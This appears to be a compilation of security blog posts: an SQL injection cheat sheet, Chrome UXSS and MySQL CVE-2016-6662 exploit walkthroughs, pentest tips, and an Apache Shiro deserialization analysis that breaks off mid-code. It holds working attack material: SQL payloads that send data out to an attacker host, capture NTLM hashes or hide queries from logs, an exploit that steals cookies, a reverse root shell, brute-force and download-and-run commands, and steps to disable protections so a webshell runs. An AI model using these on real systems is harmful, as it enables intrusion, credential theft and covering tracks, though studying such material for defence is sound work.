BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security
reasons(!). So if you add –sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ‘ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users

    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT
    IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0)
    User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT … INTO DUMPFILE

    • Write query into a new file (can not modify existing files)
  • UDF Function

    • create function LockWorkStation returns integer soname ‘user32’;
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname ‘kernel32’;
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File

    • query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 

    • By default it’s not available !

      • create table foo( line blob ); 
        load data infile ‘c:/boot.ini’ into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( ‘test’ ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ ); 
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s
unfiltered in another action. This is common hidden layer problem.

Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘ 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of
target server, but possibly you inbound connection will be firewalled.
Can be very useful internal penetration tests. We force SQL Server to
connect our Windows UNC Share and capture data NTLM session with a tool
like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

References

Since these notes have been collected from several different
sources over a number of years, and through personal experiences, I may
have missed some references. If so please reach out to us so we can add you in this list.

一个价值7500刀的Chrome UXSS(CVE-2016-1631)分析与利用

0x00 前言

本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理,为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。

本文讨论的漏洞已早已修复,但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞(CVE-2016-1631)。

0x01 分析

漏洞影响:

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash

原漏洞报告如下:

From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
----------------
int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}
----------------

报告者解释说:PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer,从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。

接下来,我们来看看报告者提供的POC,主要有三个文件:

  • p.as: 一个ActionScript脚本文件
  • p.swf: 一个swf格式的Flash文件
  • poc.html: 具体的poc代码

p.as:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}
poc.html:

<script>
if (location.href.startsWith('file')) {
  throw alert('This does not work from file:, please put it on an HTTP server.')
}

var c0 = 0;
function cp() {
  ++c0;
}

var fs = [];
for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  // The magic happens here:
  pw.document.querySelector('embed').f();
  // Clean-up phase -- now that the print operation has served its
  // purpose of spinning a nested event loop, kill the print dialog
  // in case it's necessary to spin the loop again.
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (c0 == 10) {
    clearInterval(t);
    // The initial location of this iframe is about:blank.
    // It shouldn't change before the end of this function
    // unless a nested event loop is spun without a
    // ScopedPageLoadDeferrer on the stack.
    // |alert|, |print|, etc. won't work, as they use a
    // ScopedPageLoadDeferrer to defer loads during the loop.
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    // Let's schedule an asynchronous load of a cross-origin document.
    i.contentWindow.location.href = 'data:text/html,';
    // Now let's try spinning the Flash message loop.
    // If the load succeeds, |i.contentDocument| will throw.
    try {
      while (i.contentDocument) { message_loop(); }
    } catch(e) {}

    // Check the final outcome of the shenanigans.
    try {
      if (i.contentWindow.location.href === 'about:blank') {
        alert('Nothing unexpected happened, good.');
      }
    } catch(e) {
      alert('The frame is cross-origin already, this is bad.');
    }
  }
}

var t = setInterval(f, 100);
</script>

POC的原理就是在页面中创建多个源为Flash文件的iframe,然后调用as脚本开启打印工作任务,此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器,由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。

那么,如何来理解这个漏洞呢?

在Chrome中,我们知道,每个线程都有一个MessageLoop(消息循环)实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时,会开启一个MessageLoop来处理打印事件,而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话,就可以通过脚本回调代码绕过SOP加载任意资源,也就造成了XSS漏洞。

从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。

不难发现,源码作者实际上仅做了以下更改:

1. 添加了#include “third_party/WebKit/public/web/WebView.h”;

2. 在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();

3. 在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();

找到third_party/WebKit/public/web/WebView.h文件,我们在当中找到了步骤2和3的方法如下:

third_party/WebKit/public/web/WebView.h:
-----------------------
    // Modal dialog support ------------------------------------------------
    // Call these methods before and after running a nested, modal event loop
    // to suspend script callbacks and resource loads.
    BLINK_EXPORT static void willEnterModalLoop();
    BLINK_EXPORT static void didExitModalLoop();
(...)
-----------------------

显然, 修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载,从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。

0x02 利用

首先,下载exploit并部署到你的web服务器上。

解压后,文档目录如下:

├── exploit
│   ├── exploit.html
│   ├── f.html
│   ├── p.as
│   └── p.swf

打开exploit.html修改如下:

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

利用效果如下:

0x03 参考

https://bugs.chromium.org/p/chromium/issues/detail?id=569496

https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581

http://blog.csdn.net/zero_lee/article/details/7905121

http://www.360doc.com/content/13/0422/16/168576_280145531.shtml

MySQL远程代码执行/权限提升漏洞的分析与实践(CVE-2016-6662)

0x00 背景

2016年9月12日,国外安全研究人员Dawid Golunski发布安全公告发现了MySQL的一个可被远程代码执行/权限提升的漏洞(CVE-2016-6662)。笔者在研究了原报告后,做了如下分析和实践。

0x01 分析

漏洞披露原址:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

影响范围 (漏洞作者9月16日的最新更新):

MySQL <= 5.7.14

MySQL <= 5.6.32

MySQL <= 5.5.51

在对原报告的研究后,整理总结如下。

漏洞产生的原因:

1. 默认安装的MySQL自带了一个mysqld_safe的脚本用来启动mysql的服务进程,如:

2. 该进程能够在启动mysql server之前预加载共享库文件,通过参数 –malloc-lib = LIB

/usr/local/mysql/bin/mysqld_safe:

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi

3. 共享库文件可被添加在一个mysql的配置文件my.cnf中, 比如mysql的data目录,$DATADIR/my.cnf

/usr/local/mysql/bin/mysqld_safe:

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
  DATADIR=/usr/local/mysql/data
fi

4. 一旦攻击者可以注入恶意库文件在my.cnf文件中,即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码

漏洞的利用条件:

具有FILE和SELECT权限的mysql的用户且能够访问日志功能(通常情况下只有MYSQL的管理员用户具有)

漏洞的利用场景:

1. 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件(mysql用户可写)里注入恶意代码

2. 在MYSQL的data目录里(mysql用户默认可写)创建一个新的配置文件my.cnf,并注入恶意代码

漏洞的利用原理:

1. 使用mysql的日志记录功能创建/修改my.cnf文件

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

2. 注入包涵恶意代码的共享库,并添加到my.cnf文件的[mysqld]下,如:

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

3. 重启mysql服务,即可实现以root权限执行恶意代码

0x02 实践

实验环境:

  • Ubuntu 16.04.1 LTS
  • MySQL 5.5.50

实践步骤:

1. 安装与配置MySQL:http://howtolamp.com/lamp/mysql/5.6/installing/

安装后目录如下:

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files

2. 下载exp文件:

3. 查找mysql的data目录,如:/usr/local/mysql/data

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf

4. 修改exp文件

0ldSQL_MySQL_RCE_exploit.py:修改161行如下 (注意:此处的作用是将mysql的触发器文件写入到测试数据库所在的同一目录下)

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB

mysql_hookandroot_lib.c:修改63-65行如下 (此处笔者使用的my.cnf的目录是/usr/local/mysql/data/my.cnf)

#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"

5. 在监听服务器上启动监听

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

6. 创建测试数据库用户和数据库

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'; 

7. 执行0ldSQL_MySQL_RCE_exploit.py脚本如下:

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...

8. 重启mysql服务来触发利用

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart

9. 监听服务器成功收到反弹shell

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)

0x03 总结

笔者在该漏洞的测试和实践过程中,有如下的体会和心得:

1. 漏洞作者巧妙地利用了触发器,使一个普通的用户利用了root权限执行了所需的sql语句,从而成功地绕过了mysql对于general_log_file文件操作的权限限制

2. 漏洞作者提供了一个不错的反弹shell的技巧,即在mysqld启动之前利用preload加载my.cnf文件顺序早于mysqld成功地修改了my.cnf文件中的冗余信息,保证了mysql服务的正常启动

3. 关于mysql的data目录下的my.cnf文件的权限问题,其实完全不需要chown mysql:mysql my.cnf, 只要同时具备以下2个条件即可:

  • 默认的mysql用户对my.cnf具有可写权限
  • my.cnf不是world-write权限

参考

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

http://seclists.org/oss-sec/2016/q3/484

学习中积累的小Tips(不断更新中…)

本文是笔者的学习的笔记,在于记录自己在学习过程中的知识积累,以便以后查找方便。

暴力破解

工具收集:
hydra:
3389爆破命令: hydra -l login -P password.txt 192.xxx.xxx.xxx rdp
其中login是指用户名,password.txt是指密码字典, 192.xxx.xxx.xx是指服务器IP地址

批量下载

wget是linux下命令行的下载工具,功能很强大,虽然我很少用,一般下在一些小东西都是直接用firefox,seamonkey这些浏览器自带的下载功能下载,没有必要用wget或者其他下载工具。但是某些时候却不是浏览器自带的下载功能和一些其他的下载软件所能做的的,这时候就得用wget了。比如如果你想下载一个网页目录下的所有文件,如何做呢?


先介绍几个参数:-c 断点续传(备注:使用断点续传要求服务器支持断点续传),-r 递归下载(目录下的所有文件,包括子目录),-np 递归下载不搜索上层目录,-k 把绝对链接转为相对链接,这样下载之后的网页方便浏览。-L 递归时不进入其他主机,-p 下载网页所需要的所有文件。
比如:#wget -c -r -np -k -L -p http://www.kuqin.com/itman/liyanhong/

PowerShell文件下载

PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

在windows 2003之中默认支持这种脚本。

下面这两条指令实现了从Internet网络下载一个文件。

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

下面这条指令是执行一个文件

PS C:\> .\test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

C:\>powershell set-executionpolicy unrestricted

BITSAdmin文件下载

BITSAdmin是windows自带的一个用于下载和上传文件的命令行工具,详细描述参见:https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813%28v=vs.85%29.aspx

我们可以使用下面的命令来实现文件下载:

bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:\10mb.zip

下面是一个基于BITSAdmin的文件下载的shell脚本:

@ECHO OFF
:: NAME
::	Bits-Download.cmd
::
:: SYNOPSIS
::	Downloads a remote file with BITS.
::
:: SYNTAX
::	Bits-Download remote_url local_name
::
:: DETAILED DESCRIPTION
::	The Bits-Download.cmd batch file uses BITS to download
::	the given remote file. Bits-Download.cmd requires the
::	BITS Admin Utility Bitsadmin.exe.
::
:: NOTES
::	Bits-Download.cmd was developed and tested on Windows Vista.
::
:: AUTHOR
::	Frank-Peter Schultze
::
:: DATE
::	00:18 21.07.2008

SETLOCAL

	IF "%2"=="" (
		TYPE "%~f0" | findstr.exe /R "^::"
		GOTO :END
	)

	SET bits_job=bits%RANDOM%

	SET remote_url="%~1"
	IF NOT DEFINED remote_url (
		ECHO %~n0 : Cannot bind argument to parameter 'remote_url' because it is empty.
		GOTO :END
	)

	SET local_name="%~2"
	IF NOT DEFINED local_name (
		ECHO %~n0 : Cannot bind argument to parameter 'local_name' because it is empty.
		GOTO :END
	)

	(SET /P remote_user=User name ^(leave empty if not required^): )
	IF DEFINED remote_user (SET /P remote_pass=Password: )

	bitsadmin.exe /CREATE /DOWNLOAD %bits_job%

	bitsadmin.exe /ADDFILE %bits_job% %remote_url% %local_name%

	bitsadmin.exe /SETNOTIFYCMDLINE %bits_job% "%SystemRoot%\system32\bitsadmin.exe" "%SystemRoot%\system32\bitsadmin.exe /COMPLETE %bits_job%"

	IF DEFINED remote_user IF DEFINED remote_pass (
		bitsadmin.exe /SETCREDENTIALS %bits_job% SERVER BASIC %remote_user% %remote_pass%
	)

	bitsadmin.exe /RESUME %bits_job%

:END
ENDLOCAL

保存代码为Bits-Download.cmd, 使用方法:Bits-Download [remote_url] [local_name]

参考链接:http://www.out-web.net/?p=151

Jenkins Hacking多种利用方式

原文链接:http://www.secpulse.com/archives/2166.html

JSP webshell执行403错误

上传了JSP的webshell成功后不能被执行,比如报403错误。通常这类报错是因为web.xml设置了禁止直接访问JSP文件,比如下面是struts2的中的默认web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <display-name>Struts Blank</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

    <security-role>
        <description>Don't assign users to this role</description>
        <role-name>no-users</role-name>
    </security-role>

</web-app>

解决方法是:注释或者删除web.xml中的以下防护配置

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

内网渗透相关

渗透学习案例:https://github.com/l3m0n/pentest_study

导出当前域内所有用户hash的技术整理:http://drops.wooyun.org/tips/6617

在远程系统上执行程序的技术整理:http://drops.wooyun.org/tips/7358

利用Powershell快速导出域控所有用户Hash:http://drops.wooyun.org/tips/10181

域渗透——Local Administrator Password Solution:http://drops.wooyun.org/tips/10496

域渗透——Pass The Hash & Pass The Key:http://drops.wooyun.org/tips/11631

渗透技巧——通过cmd上传文件的N种方法:http://drops.wooyun.org/tips/14101

渗透技巧——如何巧妙利用PSR监控Windows桌面:http://drops.wooyun.org/tips/13125

Apache Shiro 1.2.4 远程代码执行分析与利用

0x00 前言

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理功能,可为任何应用提供安全保障 – 从命令行应用、移动应用到大型网络及企业应用。Shiro为解决应用安全的如下四要素提供了相应的API:

  • 认证 – 用户身份识别,常被称为用户“登录”;
  • 授权 – 访问控制;
  • 密码加密 – 保护或隐藏数据防止被偷窥;
  • 会话管理 – 用户相关的时间敏感的状态。

Shiro还支持一些辅助特性,如Web应用安全、单元测试和多线程,它们的存在强化了这四个要素。本文重点分析2015年11月19号报告的1.2.4版本中存在的一个反序列化导致的远程代码执行的漏洞。

0x01 分析

根据SHIRO-550(https://issues.apache.org/jira/browse/SHIRO-550)报告中的描述,默认情况下,shiro使用CookieRememberMeManager类对用户的身份信息的进行序列化,加密以及编码。因此,当系统收到一个未认证的用户的请求时,将会按照下面的过程来寻找已记住的身份信息:

  • 获取rememberMe cookie的值
  • Base64解码
  • 使用AES解密
  • 使用ObjectInputStream进行反序列化

然而,默认的AES加密的密钥却是硬编码在源码里。这就意味着,任何能够看到源代码的人都知道默认的密钥什么。一旦攻击者构造了一个恶意的对象,利用上面处理过程的反过程(序列化-AES加密-Base64编码)将恶意代码作为cookie发送至服务器端这就造成了由反序列化引起的远程代码执行的漏洞。

下面我将重点分析一下这个漏洞造成的过程。

从报告描述中可以发现这个漏洞主要是因为CookieRememberMeManager类引起的,找到github上shiro 1.2.4源码。

CookieRememberMeManager.java:

public class CookieRememberMeManager extends AbstractRememberMeManager {

    ...

    /**
     * Base64-encodes the specified serialized byte array and sets that base64-encoded String as the cookie value.
     * <p/>
     * The {@code subject} instance is expected to be a {@link WebSubject} instance with an HTTP Request/Response pair
     * so an HTTP cookie can be set on the outgoing response.  If it is not a {@code WebSubject} or that
